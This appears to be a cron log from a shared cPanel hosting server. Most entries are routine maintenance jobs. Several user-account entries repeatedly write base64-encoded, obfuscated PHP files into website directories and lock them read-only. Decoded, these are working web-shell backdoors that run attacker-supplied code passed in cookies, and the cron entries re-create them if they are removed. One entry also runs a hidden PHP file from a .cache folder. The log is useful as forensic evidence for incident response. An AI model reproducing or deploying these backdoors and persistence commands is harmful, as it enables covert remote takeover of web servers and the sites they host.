ICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:34:02 medusa CROND[5060]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:35:01 medusa CROND[28345]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:35:01 medusa CROND[28350]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:35:01 medusa CROND[28451]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:35:01 medusa CROND[28545]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 05:35:01 medusa CROND[28542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:35:01 medusa CROND[28544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:35:01 medusa CROND[28543]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:35:01 medusa CROND[28546]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:35:01 medusa CROND[28549]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:35:01 medusa CROND[28550]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:35:01 medusa CROND[28552]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:35:01 medusa CROND[28551]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 05:35:01 medusa CROND[28559]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:35:01 medusa CROND[28561]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:35:01 medusa CROND[28557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:35:01 medusa CROND[28569]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:35:01 medusa CROND[28573]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:35:01 medusa CROND[28575]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:35:01 medusa CROND[28579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:35:01 medusa CROND[28547]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cldiag.cronlock /usr/bin/cldiag --cron-check)
Mar  1 05:35:01 medusa CROND[28574]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:35:01 medusa CROND[28577]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:35:01 medusa CROND[28582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:35:01 medusa CROND[28590]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:35:01 medusa CROND[28593]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:35:01 medusa CROND[28594]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 05:36:01 medusa CROND[20230]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:36:01 medusa CROND[20232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:36:01 medusa CROND[20233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:36:01 medusa CROND[20235]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:36:01 medusa CROND[20239]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:36:01 medusa CROND[20234]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:36:01 medusa CROND[20242]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:36:01 medusa CROND[20243]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:36:01 medusa CROND[20244]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:36:01 medusa CROND[20241]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:36:01 medusa CROND[20251]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:36:01 medusa CROND[20253]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 